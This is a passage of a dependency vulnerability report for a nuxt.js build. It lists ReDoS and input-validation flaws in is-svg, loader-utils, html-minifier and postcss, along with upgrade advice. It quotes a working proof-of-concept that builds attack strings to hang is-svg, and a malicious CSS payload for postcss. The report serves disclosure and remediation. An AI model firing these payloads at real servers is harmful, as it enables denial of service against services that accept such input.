ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for html-minifier
.
References
medium severity
- Vulnerable module: is-svg
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0Remediation: Upgrade to css-loader@1.0.0.
Overview
is-svg is a Check if a string or buffer is SVG
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input for a very long time.
You are only affected if you use this package on a server that accepts SVG as user-input.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade is-svg
to version 4.2.2 or higher.
References
medium severity
- Vulnerable module: is-svg
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0Remediation: Upgrade to css-loader@1.0.0.
Overview
is-svg is a Check if a string or buffer is SVG
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the removeDtdMarkupDeclarations
and entityRegex
regular expressions, bypassing the fix for CVE-2021-28092.
PoC by Yeting Li
//1) 1st ReDoS caused by the two sub-regexes [A-Z]+ and [^>]* in `removeDtdMarkupDeclarations`.
const isSvg = require('is-svg');
function build_attack1(n) {
var ret = '<!'
for (var i = 0; i < n; i++) {
ret += 'DOCTYPE'
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack1(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//2) 2nd ReDoS caused by ? the first sub-regex \s* in `entityRegex`.
function build_attack2(n) {
var ret = ''
for (var i = 0; i < n; i++) {
ret += ' '
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack2(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//3rd ReDoS caused by the sub-regex \s+\S*\s* in `entityRegex`.
function build_attack3(n) {
var ret = '<!Entity'
for (var i = 0; i < n; i++) {
ret += ' '
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack3(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//4th ReDoS caused by the sub-regex \S*\s*(?:"|')[^"]+ in `entityRegex`.
function build_attack4(n) {
var ret = '<!Entity '
for (var i = 0; i < n; i++) {
ret += '\''
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack4(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade is-svg
to version 4.3.0 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: html-webpack-plugin@2.30.1, offline-plugin@4.9.1 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-webpack-plugin@2.30.1 › loader-utils@0.2.17Remediation: Upgrade to html-webpack-plugin@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › offline-plugin@4.9.1 › loader-utils@0.2.17
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the resourcePath
variable in interpolateName.js
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils
to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: html-webpack-plugin@2.30.1, offline-plugin@4.9.1 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-webpack-plugin@2.30.1 › loader-utils@0.2.17Remediation: Upgrade to html-webpack-plugin@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › offline-plugin@4.9.1 › loader-utils@0.2.17
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in interpolateName
function via the URL
variable.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils
to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: postcss
- Introduced through: autoprefixer@7.2.6, css-loader@0.28.11 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › autoprefixer@7.2.6 › postcss@6.0.23Remediation: Upgrade to autoprefixer@10.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss@5.2.18Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-loader@12.2.2 › postcss@5.2.18Remediation: Upgrade to vue-loader@15.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
Overview
postcss is a PostCSS is a tool for transforming styles with JS plugins.
Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}
.
This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET
variable.
Remediation
Upgrade postcss
to version 8.4.31 or higher.
References
medium severity
- Vulnerable module: postcss
- Introduced through: autoprefixer@7.2.6, css-loader@0.28.11 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › autoprefixer@7.2.6 › postcss@6.0.23Remediation: Upgrade to autoprefixer@9.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss@5.2.18Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-loader@12.2.2 › postcss@5.2.18Remediation: Upgrade to vue-loader@15.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
